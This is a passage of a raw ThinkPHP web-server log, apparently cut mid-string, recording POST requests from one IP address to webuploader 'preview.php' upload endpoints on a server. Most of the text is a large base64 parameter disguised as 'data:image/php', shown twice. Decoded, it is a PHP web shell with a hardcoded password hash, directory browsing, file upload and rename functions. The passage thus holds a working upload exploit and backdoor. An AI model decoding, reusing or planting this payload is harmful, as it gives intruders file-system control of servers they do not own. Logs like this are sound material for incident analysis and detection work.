ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:59+08:00 ] 119.42.146.234 POST 59.110.137.245/Content/webuploader/0.1.15/server/preview.php [运行时间:0.002547s] [吞吐率:392.61req/s] [内存消耗:164.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Content', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQ' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:59+08:00 ] 119.42.146.234 POST 59.110.137.245/web/dist/static/webuploader/0.1.15/server/preview.php [运行时间:0.003115s] [吞吐率:321.01req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'web', 2 => 'dist', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYX